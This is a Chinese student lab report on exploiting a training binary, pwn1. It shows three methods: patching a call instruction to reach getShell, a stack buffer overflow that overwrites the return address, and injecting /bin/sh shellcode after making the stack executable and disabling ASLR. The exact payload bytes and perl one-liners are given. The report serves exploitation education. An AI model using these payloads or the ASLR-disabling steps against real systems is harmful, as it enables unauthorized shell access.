一.实验内容
- 修改可执行文件内容,改变程序中的一个函数调用指令,直接跳转到getShell函数。
- 利用foo函数的缓冲区溢出漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
二.实验过程
(1)直接修改程序机器指令,改变程序执行流程
- 下载pwn1文件并传至虚拟机后输入反汇编指令 objdump -d pwn1 | more 找到函数调用的相关指令
- 可以看到main中80484b5位置是跳转到foo函数的指令。跳转指令中,e8是跳转的意思,d7ffffff为补码,所以要调用getShell函数,需要改变后面四个字节。根据计算,补码为c3ffffff。
- 输入 cp pwn1 pwn2 复制文件pwn1
- 输入 vi pwn2 进入文件pwn2
- 输入 :%!xxd 切换为16进制模式,输入 /e8 d7 找到对应内容
- 将d7改为c3后输入 :%!xxd -r 改为原格式并输入 :wq 保存
- 通过 objdump -d pwn2 | more 反汇编查看更改结果
- 运行pwn2验证
可以看到修改成功,并且成功运行getshell。
(2)通过构造输入参数,造成BOF攻击,改变程序执行流
- 反汇编pwn1找到main、foo、和getshell函数
可以发现在foo函数中,8048497位置的指令为“lea -0x1c(%ebp),%eax”,即只为后续的读入字符串预留了0x1c=28字节的缓冲区。call调用foo时,原本会在堆栈上压上返回地址80484ba,所以需要通过修改,让返回地址的值被覆盖为getShell函数的地址804847d。 - 输入 gdb pwn1 调试程序,输入1111111122222222333333334444444455555555 然后使用 info r 查看eip的值为0x35353535,即5555的ascii码
- 输入1111111122222222333333334444444412345678调试,查看eip的值为0x34333231,即4321的ascii码。
这就确定了应该如何设置攻击字符串,即将第33至第36个字符设置为804847d按字节的倒序。 - 利用perl软件生成包括这样字符串的一个文件,用 xxd input 命令检查文件内容
- 将input的输入作为pwn1的输入得到如图结果
成功得到了shell
(3)注入Shellcode并执行
- execstack -s pwn1 设置堆栈可执行
- execstack -q pwn1 查询文件的堆栈是否可执行
- echo "0" > /proc/sys/kernel/randomize_va_space 关闭地址随机化
- more /proc/sys/kernel/randomize_va_space 验证随机化是否关闭
- 输入 perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode 创建一个 input_shellcode 文件
- 输入 (cat input_shellcode;cat) | ./pwn1 将input_shellcode作为pwn1的输入
- 输入 ps -ef | grep pwn1 查看进程
可知16487是我们的进程号 - 用gdb调试程序,输入 disassemble foo 反编译foo函数,*break 0x080484ae 设置断点,在另一个终端输入命令c并在此终端按一下回车
- 输入 info r esp 看到ESP值为0xffffcf2c
- 输入 x/16x 0xffffcf2c 查看存放内容
可以看到0x01020304,说明找到了我们要的地址,再加上四个字节得到0xffffcf30就是shellcode的地址 - 使用 \x30\xcf\xff\xff 替换原占位符 \x01\x02\x03\x04,构造要注入的字符串:perl -e 'print "A" x 32;print "\x30\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x10\xcf\xff\xff\x00"' > input_shellcode
- 注入后执行ls命令
三.问题及解决方案
- 问题1:无法下载execstack
- 问题1解决方案:前往官网下载后,传输到虚拟机中解压
- 问题2:Xftp 8无法连接
- 问题2解决方案:在虚拟机中下载并启用ssh服务、
- 问题3:echo "0" > /proc/sys/kernel/randomize_va_space命令执行时提示无权限
- 问题3解决方案:将用户权限更改为root权限
四.学习感悟与思考
本次实验虽然是按照指导书一步步做的,但对于我来说还是较为困难。首先刚开始确实很难理解相应的地址关系,不过在问过同学以及查阅相关资料后还是明白了个大概。其次是实验工具的使用上还是不太熟练,很多没必要的操作导致时间上的浪费。最后,通过这次实验也是感受到了网络攻防的不易,这次在许多限制条件下才能完成这样简单的攻击,可想而知真正的网络攻防战场更是十分困难,所以我们学习网络攻防技术任重而道远。
参考资料
-逆向及Bof基础实践说明
-20242825 2024-2025-2 《网络攻防实践》第九周作业
-Linux下关闭ASLR(地址空间随机化)的方法